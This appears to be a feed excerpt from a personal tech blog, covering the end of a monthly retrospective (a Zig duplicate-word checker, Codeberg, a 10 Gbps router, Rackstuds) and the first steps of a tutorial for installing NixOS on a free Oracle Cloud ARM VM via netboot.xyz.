 srcset='https://mtlynch.io/retrospectives/2025/02/fusion_hu_f858500c7aaed0fe.webp 300w, https://mtlynch.io/retrospectives/2025/02/fusion_hu_a9346f1dd191131a.webp 600w, https://mtlynch.io/retrospectives/2025/02/fusion_hu_e0c7f9a2a767cfd0.webp 800w, https://mtlynch.io/retrospectives/2025/02/fusion.webp 983w'
 src="https://mtlynch.io/retrospectives/2025/02/fusion.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I recently started using fusion, an RSS reader, so that I can follow interesting blogs&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="wordword-find-lexical-illusions-in-your-blog-posts">wordword: Find lexical illusions in your blog posts&lt;/h3>
&lt;p>I recently read a blog post by Matt Might where he explains &lt;a href="https://matt.might.net/articles/shell-scripts-for-passive-voice-weasel-words-duplicates/">the idea of &amp;ldquo;lexical illusions.&amp;rdquo;&lt;/a> It&amp;rsquo;s when you fail to recognize a duplicate word in text, for example:&lt;/p>
&lt;blockquote>
&lt;p>Many readers are not aware that the&lt;br>
the brain will automatically ignore&lt;br>
a second instance of the word &amp;ldquo;the&amp;rdquo;&lt;br>
when it starts a new line.&lt;/p>&lt;/blockquote>
&lt;p>I make this mistake when writing my blog, so I wanted a tool that could catch this mistake for me automatically.&lt;/p>
&lt;p>I wrote the tool leaning heavily on &lt;a href="https://cline.bot/">Cline&lt;/a>, an AI assistant. I &lt;a href="https://mtlynch.io/notes/cline-is-mesmerizing/">found it impressive and scary&lt;/a> how good Cline was at implementing the tool based on my prompts and test cases.&lt;/p>
&lt;p>And the tool works well. I used it to find &lt;a href="https://github.com/mtlynch/mtlynch.io/pull/1414">seven lexical illusions&lt;/a> in already-published articles.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span># Find lexical illusions (and also some false positives like &amp;#34;Duck Duck Go&amp;#34;).
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ wordword ./content/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/retrospectives/2019/11/index.md:114: the
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/retrospectives/2022/05/index.md:175: Duck
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/retrospectives/2022/05/index.md:175: Duck
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/retrospectives/2022/05/index.md:175: Duck
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/retrospectives/2022/05/index.md:175: Duck
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/retrospectives/2022/05/index.md:177: Duck
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/notes/nix-git-bash-shell/index.md:78: time
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/notes/cypress-vs-playwright/index.md:278: makes
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/posts/simple-vue-pre-rendered/index.md:36: for
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/posts/bootstrapped-founder-year-6/index.md:132: case
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/posts/ansible-role-clipbucket/index.md:83: a
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/posts/bootstrapped-founder-year-1/index.md:177: NOW
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/posts/bootstrapped-founder-year-1/index.md:177: NOW
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/book-reports/chaos-monkeys/index.md:8: names
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./content/book-reports/go-programming-blueprints/index.md:50: of
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>212 total files checked
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>15 total errors found
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I&amp;rsquo;ve added &lt;code>wordword&lt;/code> to my blog&amp;rsquo;s &lt;a href="https://github.com/mtlynch/mtlynch.io/pull/1414/files#diff-78a8a19706dbd2a4425dd72bdab0502ed7a2cef16365ab7030a5a0588927bf47">CI build&lt;/a> and to my &lt;a href="https://github.com/mtlynch/mtlynch.io/pull/1414/files#diff-c901cafe102063c4ca0cb0d0c42723a4fbe06baefab7c7c4feb8484f54b3ccc5">git pre-commit hook&lt;/a>.&lt;/p>
&lt;p>And because I wrote it in Zig, it&amp;rsquo;s super fast. It checks 212 Markdown files in my blog in just 28.7 milliseconds:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ hyperfine &lt;span style="color:#ed9d13">&amp;#39;wordword ./&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Benchmark 1: wordword ./
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Time (mean ± σ): 28.7 ms ± 1.3 ms [User: 11.7 ms, System: 16.5 ms]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Range (min … max): 26.8 ms … 31.7 ms &lt;span style="color:#3677a9">90&lt;/span> runs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="other-small-things">Other small things&lt;/h2>
&lt;h3 id="i-joined-codeberg-as-a-member">I joined Codeberg as a member&lt;/h3>
&lt;p>I&amp;rsquo;ve been looking for a less corporate, more open-source git hosting service.&lt;/p>
&lt;p>I&amp;rsquo;d been using Gitlab. But they made &lt;a href="https://gitlab.com/gitlab-org/gitlab/-/issues/419602#note_2030565051">the bizarre decision&lt;/a> to forcefully log out every user every two weeks.&lt;/p>
&lt;p>Every time I use Gitlab, I&amp;rsquo;m signed out. And then to sign in, Gitlab forces me out of flow to check my email for a one-time code rather than allowing my password manager to auto-fill my credentials.&lt;/p>
&lt;p>I tried &lt;a href="https://codeberg.org/">Codeberg&lt;/a>, and I liked it. It&amp;rsquo;s simpler than Gitlab, which works for me because Gitlab always felt overly complex for my needs. And it&amp;rsquo;s &lt;a href="https://codeberg.org/forgejo/forgejo">fully open-source&lt;/a> and implemented in Go and HTML templates, which is my favorite web stack.&lt;/p>
&lt;p>I saw that one of the ways you can pay for Codeberg is by joining as a voting member of the company, so I did that. I haven&amp;rsquo;t used my membership to do anything yet, but it&amp;rsquo;s fun to feel like I&amp;rsquo;m part of a cooperative rather than just a user.&lt;/p>
&lt;p>The biggest downside of Codeberg is that there don&amp;rsquo;t seem to be any managed continuous integration vendors that support it:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://woodpecker-ci.org/">WoodpeckerCI&lt;/a>: No vendor offers paid managed hosting.&lt;/li>
&lt;li>&lt;a href="https://docs.codeberg.org/ci/actions/">Forgejo Actions&lt;/a>: Experimental project with no paid support.&lt;/li>
&lt;li>CircleCI: No support for Forgejo/Gitea.&lt;/li>
&lt;li>Garnix: No support for Forgejo/Gitea.&lt;/li>
&lt;li>Buildkite: No support for Forgejo/Gitea.&lt;/li>
&lt;li>Drone: They support Forgejo/Gitea, but it seems like they only offer managed hosting for Enterprise.&lt;/li>
&lt;li>Harness: This is a new Drone thing, it seems, but I can&amp;rsquo;t figure out if they support Forgejo/Gitea.&lt;/li>
&lt;/ul>
&lt;p>Codeberg officially recommends self-hosting Woodpecker CI, which sounded fun and impractical, so I spent a day setting that up on &lt;a href="https://mtlynch.io/notes/nix-oracle-cloud/">my free Oracle cloud VM&lt;/a>. Now, &lt;a href="https://ci.mtlynch.io/repos/1">I self-host CI for wordword&lt;/a> and a few of my other projects. But I don&amp;rsquo;t trust myself to secure it as well as paid vendors, so I&amp;rsquo;m not willing to store secrets there. That severely limits how much I can use it as a real CI/CD solution.&lt;/p>
&lt;h3 id="got-a-10-gbps-router">Got a 10 Gbps router&lt;/h3>
&lt;p>For the first time ever, my ISP is offering 2 Gbps symmetrical speeds, so I wanted to take advantage of the full capacity.&lt;/p>
&lt;p>My router was a Qotom Q355G4, which has served me well, except it&amp;rsquo;s not rack-mountable, and it only has 1 Gbps ports.&lt;/p>
&lt;p>I wanted to buy a router from a trusted hardware vendor like OPNsense or Protectli, but OPNsense&amp;rsquo;s cheapest 10 Gbps rack-mounted router is &lt;a href="https://shop.opnsense.com/product/dec2752-opnsense-rack-security-appliance/">$1,200&lt;/a>, and Protectli doesn&amp;rsquo;t have any rack mountable options.&lt;/p>
&lt;p>I ended up buying the &lt;a href="https://www.servethehome.com/everything-homelab-node-goes-1u-rackmount-qotom-intel-review/">Qotom C3758R 1U 10 Gbps router&lt;/a> ($417 after shipping and taxes) and installed OPNsense business on it.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/02/10g-router.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/02/10g-router_hu_869483ea244b97df.webp 300w, https://mtlynch.io/retrospectives/2025/02/10g-router_hu_dab37ee50375dcd5.webp 600w, https://mtlynch.io/retrospectives/2025/02/10g-router_hu_2ef60cba88f5e903.webp 800w, https://mtlynch.io/retrospectives/2025/02/10g-router_hu_d678052191ed1b52.webp 1200w, https://mtlynch.io/retrospectives/2025/02/10g-router.webp 1600w'
 src="https://mtlynch.io/retrospectives/2025/02/10g-router.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I bought a Qotom C3758R 10 Gbps router (third from the top) to take advantage of a newly available 2 Gbps option from my ISP.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I always worry that I&amp;rsquo;m not getting enough RAM or disk space on my router, but OPNsense barely needs anything. I went with 8 GB of RAM and 128 GB of disk. I just checked system load while running a speed test, and RAM never went above 13% and CPU peaked at about 30%, so the hardware is more than sufficient for my needs. Note that I don&amp;rsquo;t have a ton of firewall rules, and I don&amp;rsquo;t use OPNsense&amp;rsquo;s IDS/IPS features.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 439px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/02/opnsense-load.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 439px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/02/opnsense-load_hu_aa23b1bc124e054.webp 300w, https://mtlynch.io/retrospectives/2025/02/opnsense-load.webp 437w'
 src="https://mtlynch.io/retrospectives/2025/02/opnsense-load.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="officially-converted-to-rack-studs">Officially converted to rack studs&lt;/h3>
&lt;p>After I published my article about building my first home server rack, several readers recommended I try &lt;a href="https://www.rackstuds.com/">Rackstuds&lt;/a> instead of cage nuts.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/02/rack-studs.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/02/rack-studs_hu_f55db7f0aee63d9c.webp 300w, https://mtlynch.io/retrospectives/2025/02/rack-studs_hu_95c8094d3bf293a9.webp 600w, https://mtlynch.io/retrospectives/2025/02/rack-studs_hu_4c2edfdc6e3a6c94.webp 800w, https://mtlynch.io/retrospectives/2025/02/rack-studs_hu_9fbe2ffb2b863bd8.webp 1200w, https://mtlynch.io/retrospectives/2025/02/rack-studs.webp 4624w'
 src="https://mtlynch.io/retrospectives/2025/02/rack-studs.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I like Rackstuds way more than standard cage nuts.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I was skeptical because Rackstuds are plastic, so they seem more liable to break than metal cage nuts. But Rackstuds has lab tests showing they can &lt;a href="https://www.rackstuds.com/certification">support equipment of up to 40 lbs&lt;/a>.&lt;/p>
&lt;p>Rackstuds are definitely easier to work with than cage nuts. Cage nuts made it &lt;a href="https://mtlynch.io/building-first-homelab-rack/#test-the-ups-before-mounting-it">difficult to mount equipment&lt;/a>, especially heavy stuff. You need one hand to hold up the component and keep it level, and you need to use your other hand to screw nuts in to secure the equipment in place.&lt;/p>
&lt;p>Rackstuds solve this problem because you install the studs first, and then just hang the component onto the studs.&lt;/p>
&lt;p>One thing that confused me was that Rackstuds come in two variants: red and purple. They&amp;rsquo;re different in a confusing way. The product page for the purple studs says:&lt;/p>
&lt;blockquote>
&lt;p>Suitable for rails between 2.7mm/0.106 and 3.2mm/0.125&amp;quot;. If ≤ 2.2mm/0.086&amp;quot;, use the new red version instead&lt;/p>&lt;/blockquote>
&lt;p>Huh?&lt;/p>
&lt;p>I think of &amp;ldquo;rails&amp;rdquo; in a server rack as the things attach to the server to slide it in, and they&amp;rsquo;re way bigger than 3mm in every dimension.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/02/server-rails.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/02/server-rails_hu_9aa8524322340b55.webp 300w, https://mtlynch.io/retrospectives/2025/02/server-rails_hu_b2cb3e39cf54f75c.webp 600w, https://mtlynch.io/retrospectives/2025/02/server-rails_hu_c7ff93d4ec0a8feb.webp 800w, https://mtlynch.io/retrospectives/2025/02/server-rails.webp 800w'
 src="https://mtlynch.io/retrospectives/2025/02/server-rails.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>What I thought “rails” are in a server rack.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I finally figured out that when Rackstuds talks about rail thickness, they mean the piece of metal on the front of the rack:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/02/rail-thickness.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/02/rail-thickness_hu_faf46ce11c1aaa30.webp 300w, https://mtlynch.io/retrospectives/2025/02/rail-thickness_hu_92453e86c28b03b9.webp 600w, https://mtlynch.io/retrospectives/2025/02/rail-thickness_hu_e3a7fd30a98c30ae.webp 800w, https://mtlynch.io/retrospectives/2025/02/rail-thickness_hu_a298f751e529bac4.webp 1200w, https://mtlynch.io/retrospectives/2025/02/rail-thickness.webp 1200w'
 src="https://mtlynch.io/retrospectives/2025/02/rail-thickness.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>On my StarTech rack, purple Rackstuds seemed to fit more comfortably.&lt;/p>
&lt;p>Another gotcha: if you buy the Rackstuds Duo, they only work on components that are exactly 1U, whereas the loose Rackstuds work for rack mounting anything. I bought the sample pack of eight first, and then I bought myself a bag of 20 for future rack components.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>I published the &lt;a href="https://refactoringenglish.com/chapters/passive-voice-considered-harmful/">&amp;ldquo;Passive Voice Considered Harmful&amp;rdquo;&lt;/a> chapter of &lt;em>Refactoring English&lt;/em> and an accompanying &lt;a href="https://refactoringenglish.com/exercises/recognize-passive-voice/">interactive exercise&lt;/a>.&lt;/li>
&lt;li>I published &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/">My Seventh Year as a Bootstrapped Founder&lt;/a>.&lt;/li>
&lt;li>I published five short note posts:
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/notes/cline-is-mesmerizing/">The Cline AI Assistant is Mesmerizing&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/notes/emailing-me/">Increase Your Reply Rate on Cold Emails to Me&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/notes/nix-oracle-cloud/">Install NixOS on a Free Oracle Cloud VM&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/notes/opnsense-local-dns/">How to Resolve Local Hostnames in OPNSense&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/notes/samsung-secure-erase/">Overcoming Gotchas in Samsung Secure Erase&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I created &lt;a href="https://codeberg.org/mtlynch/wordword">a new blog error-checking tool in Zig&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>I need to reassess whether my book idea is the right strategy given the time it will take and alternative projects that make better use of changes in AI.&lt;/li>
&lt;li>I can adapt content from my book to fit the web better and attract readers. I don&amp;rsquo;t need my excerpts to 100% match what appears in the full book.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Complete the blogging chapter of &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;li>Begin selling pre-orders for &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;ul>
&lt;li>If you have suggestions for a Kickstarter alternative that&amp;rsquo;s more focused on publishing ebooks, &lt;a href="https://mtlynch.io/about">let me know&lt;/a>.
&lt;ul>
&lt;li>I know about &lt;a href="https://leanpub.com/">LeanPub&lt;/a>, but I&amp;rsquo;m looking for Kickstarter&amp;rsquo;s &amp;ldquo;reach this minimum, or it doesn&amp;rsquo;t happen&amp;rdquo; mechanics.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Please &lt;a href="https://mtlynch.io/about">reach out&lt;/a> or leave a comment below if you have opinions on tools for writing a book in a markup language that supports rendering to both PDF and HTML.
&lt;ul>
&lt;li>The options I&amp;rsquo;m considering are:
&lt;ul>
&lt;li>&lt;a href="https://asciidoc.org/">AsciiDoc&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://rust-lang.github.io/mdBook/">mdBook&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://docs.racket-lang.org/pollen/index.html">Pollen&lt;/a> - I like the idea, but I&amp;rsquo;d have to learn Pollen, which means learning Racket, which means learning Lisp, so it&amp;rsquo;s a lot.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Install NixOS on a Free Oracle Cloud VM</title><link>https://mtlynch.io/notes/nix-oracle-cloud/</link><pubDate>Fri, 07 Feb 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/nix-oracle-cloud/</guid><description>&lt;p>Oracle is not a very popular cloud hosting service, but they have an unusually attractive &lt;a href="https://docs.oracle.com/en-us/iaas/Content/FreeTier/freetier_topic-Always_Free_Resources.htm">free tier offering&lt;/a>. You can run the following two VMs for free 24/7:&lt;/p>
&lt;ul>
&lt;li>4 CPU / 24 GB RAM Ampere A1 ARM VM&lt;/li>
&lt;li>1 CPU / 1 GB RAM AMD CPU&lt;/li>
&lt;/ul>
&lt;p>The AMD one is not that exciting, but a 4-CPU / 24 GB system is more powerful than you&amp;rsquo;ll find in the free tier of any other cloud vendor.&lt;/p></description><content:encoded>&lt;p>Oracle is not a very popular cloud hosting service, but they have an unusually attractive &lt;a href="https://docs.oracle.com/en-us/iaas/Content/FreeTier/freetier_topic-Always_Free_Resources.htm">free tier offering&lt;/a>. You can run the following two VMs for free 24/7:&lt;/p>
&lt;ul>
&lt;li>4 CPU / 24 GB RAM Ampere A1 ARM VM&lt;/li>
&lt;li>1 CPU / 1 GB RAM AMD CPU&lt;/li>
&lt;/ul>
&lt;p>The AMD one is not that exciting, but a 4-CPU / 24 GB system is more powerful than you&amp;rsquo;ll find in the free tier of any other cloud vendor.&lt;/p>
&lt;p>GCP&amp;rsquo;s price for an equivalent 4-CPU ARM VM is $132/month and it has 30% less RAM than Oracle&amp;rsquo;s.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/nix-oracle-cloud/gcp-price.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/nix-oracle-cloud/gcp-price_hu_4cd652a877e23684.webp 300w, https://mtlynch.io/notes/nix-oracle-cloud/gcp-price_hu_bcc7886c3903ab8c.webp 600w, https://mtlynch.io/notes/nix-oracle-cloud/gcp-price_hu_a9907a6912fbad53.webp 800w, https://mtlynch.io/notes/nix-oracle-cloud/gcp-price.webp 904w'
 src="https://mtlynch.io/notes/nix-oracle-cloud/gcp-price.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Google charges $132/month for a slightly worse VM than Oracle&amp;rsquo;s free-tier ARM option.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="the-challenge-install-nixos-on-an-oracle-cloud-vm">The challenge: Install NixOS on an Oracle Cloud VM&lt;/h2>
&lt;p>Oracle doesn&amp;rsquo;t offer NixOS as one of the OS options for its VMs, and I&amp;rsquo;ve read reports that uploading a NixOS image doesn&amp;rsquo;t work either.&lt;/p>
&lt;p>I&amp;rsquo;ve found &lt;a href="https://mdleom.com/blog/2021/03/09/nixos-oracle/">several&lt;/a> &lt;a href="https://mdleom.com/blog/2021/03/09/nixos-oracle/">tutorials&lt;/a> about installing NixOS on Oracle&amp;rsquo;s ARM VM, but they all seemed complicated and involved a lot of manual steps.&lt;/p>
&lt;p>Prithu Goswami figured out &lt;a href="https://prithu.dev/notes/installing-nixos-on-oracle-cloud-arm-instance/">a clever shortcut&lt;/a> by using the NixOS installer through netboot, which simplifies things. Prithu&amp;rsquo;s explanation was pretty terse, so I thought I&amp;rsquo;d share my complete walkthrough of his method.&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Update (2026-03-04)&lt;/strong>: Erik Parawell wrote &lt;a href="https://erikparawell.com/oracle-cloud-nixos.html">a guide&lt;/a> that eliminates some of the manual steps required in my guide, though I haven&amp;rsquo;t tested his solution yet personally.&lt;/li>
&lt;/ul>
&lt;h2 id="requirements">Requirements&lt;/h2>
&lt;p>There are no pre-requisites except that you&amp;rsquo;ll need an SSH client on your local system.&lt;/p>
&lt;ul>
&lt;li>&lt;code>ssh&lt;/code>&lt;/li>
&lt;/ul>
&lt;h2 id="step-1-get-an-oracle-cloud-account">Step 1: Get an Oracle Cloud account&lt;/h2>
&lt;p>I unfortunately can&amp;rsquo;t help much with this step, as I did it several months ago and don&amp;rsquo;t remember the process.&lt;/p>
&lt;p>I do know that Oracle kept closing my account for opaque reasons before I even tried any of the cloud services, and I had to email support to get my account restored.&lt;/p>
&lt;p>Note that you can only create free-tier VMs in your home region, and I&amp;rsquo;m not sure which regions have the most capacity.&lt;/p>
&lt;p>I chose a home region of US-ASHBURN, which has free-tier VMs.&lt;/p>
&lt;h2 id="step-2-create-a-free-tier-vm">Step 2: Create a free-tier VM&lt;/h2>
&lt;p>Once you&amp;rsquo;re logged in to your Oracle Cloud account, create your free VM:&lt;/p>
&lt;ol>
&lt;li>Go to &lt;a href="https://cloud.oracle.com/compute/instances/create">Create compute instance&lt;/a>.&lt;/li>
&lt;li>Change the name to whatever you want.&lt;/li>
&lt;li>Under &amp;ldquo;Image and shape,&amp;rdquo; choose the image Ubuntu &amp;gt; &lt;code>Canonical Ubuntu 24.04 Minimal aarch64&lt;/code>.&lt;/li>
&lt;li>Under &amp;ldquo;Image and shape,&amp;rdquo; choose the shape &lt;code>VM.Standard.A1.Flex&lt;/code> and increase the number of OCPUs to &lt;code>4&lt;/code>. RAM should auto-update to &lt;code>24&lt;/code> GB.&lt;/li>
&lt;/ol>
&lt;p>The image and shape screen should look like this:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/nix-oracle-cloud/vm-settings.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/nix-oracle-cloud/vm-settings_hu_f4eac3e6c9b40abe.webp 300w, https://mtlynch.io/notes/nix-oracle-cloud/vm-settings_hu_fb3f9abdb493b0bf.webp 600w, https://mtlynch.io/notes/nix-oracle-cloud/vm-settings_hu_a453b2edc9cc89c.webp 800w, https://mtlynch.io/notes/nix-oracle-cloud/vm-settings.webp 1079w'
 src="https://mtlynch.io/notes/nix-oracle-cloud/vm-settings.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Verify that the reported cost for &amp;ldquo;Shape&amp;rdquo; is $0.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: Oracle shows a $2/month charge for the boot volume, but according to what I&amp;rsquo;ve read, this estimate is a bug, as the free tier includes 200 GB of boot volume storage. I don&amp;rsquo;t really care, as I&amp;rsquo;d still pay $2/month for a VM this powerful.
&lt;/div>

&lt;p>Under &amp;ldquo;Add SSH keys,&amp;rdquo; upload your SSH public key.&lt;/p>
&lt;p>Finally, hit &amp;ldquo;Create&amp;rdquo; to create the VM.&lt;/p>
&lt;h2 id="step-3-log-in-over-ssh">Step 3: Log in over SSH&lt;/h2>
&lt;p>Wait until your VM shows as running:&lt;/p>













 















&lt;div class="img" style="max-width: 297px">



 &lt;a href="https://mtlynch.io/notes/nix-oracle-cloud/vm-running.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 297px, 98vw"
 srcset='https://mtlynch.io/notes/nix-oracle-cloud/vm-running.webp 295w'
 src="https://mtlynch.io/notes/nix-oracle-cloud/vm-running.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Once your VM is running, open a terminal on your local system.&lt;/p>
&lt;p>Copy your VM&amp;rsquo;s public IP address:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">VM_IP&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;1.2.3.4&amp;#39;&lt;/span> &lt;span style="color:#999;font-style:italic"># Replace with your VM&amp;#39;s IP.&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>SSH into your newly-created VM with your SSH keys:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ssh &lt;span style="color:#ed9d13">&amp;#34;ubuntu@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">VM_IP&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="step-4-download-netboot">Step 4: Download netboot&lt;/h2>
&lt;p>From your SSH session to your VM, download &lt;a href="https://netboot.xyz/">netboot&lt;/a>, a minimal meta-OS for installing other OSes.&lt;/p>
&lt;p>To begin, elevate to the &lt;code>root&lt;/code> user:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo su
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Download the netboot ARM64 image to &lt;code>/boot/efi/netboot.efi&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>wget https://boot.netboot.xyz/ipxe/netboot.xyz-arm64.efi &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo install &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --owner=root &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --group=root &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --mode=&lt;span style="color:#3677a9">664&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> netboot.xyz-arm64.efi &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> /boot/efi/netboot.efi
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="step-5-boot-into-efi-boot-manager-using-cloud-shell">Step 5: Boot into EFI boot manager using Cloud Shell&lt;/h2>
&lt;p>Go back to the VM page for your instance on Oracle Cloud in your web browser.&lt;/p>
